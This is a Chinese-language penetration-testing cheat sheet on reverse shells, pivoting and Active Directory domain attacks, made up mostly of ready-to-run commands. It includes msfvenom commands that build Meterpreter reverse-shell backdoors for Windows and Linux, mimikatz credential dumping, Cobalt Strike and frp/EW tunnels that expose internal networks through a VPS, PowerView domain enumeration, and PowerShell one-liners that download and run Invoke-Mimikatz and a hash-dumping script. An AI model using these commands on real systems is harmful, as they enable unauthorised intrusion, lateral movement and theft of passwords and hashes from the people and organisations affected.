反弹shell
- MSF
-
windows:
生成后门msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.5 lport=4444 -f exe > test.exe
msf等待连接
use exploit/multi/handler set payload windows/x64/meterpreter/reverse_tcp set lhost 192.168.1.5 set lport 4444 exploit
-
linux
生成后门msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=192.168.1.5 lport=4444 -f elf > test.elf
msf等待连接
use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.1.5 set lport 4444 exploit
-
在meterpreter
中可以直接加载kiwi
,即mimikatz
load kiwi
kiwi_cmd kerberos::list #执行mimikatz命令
<br>
<br>
-
CS
- 先在vps上运行
./teamserver 129.204.207.xxx 123456
- 然后客户端连接vps
- 生成监听器
- 生成后门
- 然后在内网中运行后门,等待主机上线
- 先在vps上运行
内网穿透
-
frp端口代理
在vps上的服务端配置为:[common] bind_port = 7000
内网的客户端配置为:
[common] server_addr = 129.204.207.xxx #公网IP server_port = 7000 [ssh] type = tcp local_ip = 127.0.0.1 local_port = 80 remote_port = 6000 [plugin_socks5] type = tcp remote_port = 8088 plugin = socks5 use_encryption = true use_compression = true
129.204.207.xxx:6000
即可访问内网的80
端口
129.204.207.xxx:8088即可进行socks5代理
-
EW sock代理(反向代理)
在vps上运行:ew_for_linux64 -s rcsocks -l 1080 -e 1024 #即vps监听1080和1024端口,当攻击者访问1080端口,则访问1024端口
在内网运行:
ew_for_Win.exe -s rssocks -d 129.204.207.xxx -e 1024
则我们在攻击机上的一些软件的流量就可以代理到内网中
windows:
在windows中我们可以使用
Proxifier
我们也可以直接在对浏览器设置sock代理,然后直接访问内网的web
linux:
在linux中我们可以使用
proxychains
安装:cd /usr/local/src git clone https://github.com/rofl0r/proxychains-ng.git cd proxychains-ng ./configure --prefix=/usr --sysconfdir=/etc make && make install make install-config cd .. && rm -rf proxychains-ng
配置:
vim /etc/proxychains.conf socks5 129.204.207.xxx 1080
在命令前加上
proxychains4
即可完成对内网的访问操作proxychains4 ssh 目标服务器
参考链接:SOCKS代理:从科学上网到内网漫游
参考链接:Socks代理反弹突破内网
powerview.ps1的使用
powershell的基本使用(引入本地的ps1脚本)
powershell.exe -exec bypass -Command "& {Import-Module .\Powerview.ps1;Invoke-UserHunter}"
在msf中加载powershell
load powershell
powershell_import /root/Desktop/PowerView.ps1
powershell_execute Get-NetDomain
脚本功能
Get-NetDomain 获取当前用户所在域的名称
Get-NetUser 获取所有用户的详细信息
Get-NetDomainController 获取所有域控制器的信息
Get-NetComputer 获取域内所有机器的详细信息
Get-NetPrinter 获取域中所有当前计算机对象的数组
Get-NetOU 获取域内的OU信息
Get-NetGroup 获取所有域内组和组成员的信息
Get-NetGroupMember 获取指定域组中所有当前用户的列表
Get-NetFileServer 根据SPN获取当前域使用的文件服务器信息
Get-NetShare 获取当前域内所有的网络共享信息
Get-DFSshare 获取域上所有分发文件系统共享的列表
Get-NetSubnet 获取域的其他网段
Get-NetSite 获取域内的当前站点
Get-NetDomainTrust 获取当前用户域的所有信任
Get-NetForestTrust 获取与当前用户的域关联的林的所有信任
Find-ForeignUser 枚举在其主域之外的组中的用户
Find-ForeignGroup 枚举域组的所有成员并查找查询域之外的用户
Invoke-MapDomainTrust 尝试构建所有域信任的关系映射
Get-NetLoggedon 获取主动登录到指定服务器的用户
Get-NetLocalGroup 获取一个或多个远程主机上本地组的成员
Get-NetSession 获取指定服务器的会话
Get-NetRDPSession 获取指定服务器的远程连接
Get-NetProcess 获取远程主机的进程
Get-UserEvent 获取指定用户的日志
Get-ADObject 获取活动目录的对象
Get-NetGPO 获取域内所有的组策略对象
Get-NetGPOGroup 获取域中设置”受限组”的所有GPO
Find-GPOLocation 获取用户/组,并通过GPO枚举和关联使其具有有效权限的计算机
Find-GPOComputerAdmin 获取计算机并通过GPO枚举确定谁对其具有管理权限
Get-DomainPolicy 获取域默认策略或域控制器策略
Get-DomainSID 返回指定域的SID
Invoke-UserHunter 获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-ProcessHunter 通过查询域内所有的机器进程找到特定用户
Invoke-UserEventHunter 根据用户日志查询某域用户登陆过哪些域机器
Invoke-ShareFinder 在本地域中的主机上查找(非标准)共享
Invoke-FileFinder 在本地域中的主机上查找潜在的敏感文件
Find-LocalAdminAccess 在域上查找当前用户具有本地管理员访问权限的计算机
Find-ManagedSecurityGroups 搜索受管理的活动目录安全组并标识对其具有写访问权限的用户,即这些组拥有添加或删除成员的能力
Get-ExploitableSystem 发现系统可能易受常见攻击
Invoke-EnumerateLocalAdmin 枚举域中所有计算机上本地管理员组的成员
域内常见命令
将远程主机的C盘挂载到本机上的H盘
net use h: \\192.168.1.*\c$ "password" /user:"administrator"
删除映射的h盘,其他盘类推
net use h: /del
查看本机的用户
net user
查看域内的用户
net user /domain
查看域内的计算机用户名
net view
查看域名
net view /domain
查看AD机器的共享文件夹
net view \\AD
得到域控主机名
net group "domain controllers" /domain #主机名后面会多一个$
查看域控的管理员用户
net group "domain admins" /domain
查看当前登录域
net config workstation
域渗透过程
1、首先信息收集,获得域控IP
net group "domain controllers" /domain #得到域控主机名
然后直接ping
主机名就可以得到域控的IP
也可以直接用nbtscan.exe
来探测域主机的状况
nbtscan.exe 192.168.93.0/24
2、端口探测
用EW
将内网网络代理出来,然后直接用PortScan.exe
工具扫描
3、当知道某个本地管理员权限的账号
直接使用wmiexec
连接,可以操做cmd
4、当反弹会cmdshell后,就可以抓取密码了
抓明文:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz –DumpCerts
抓hash:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes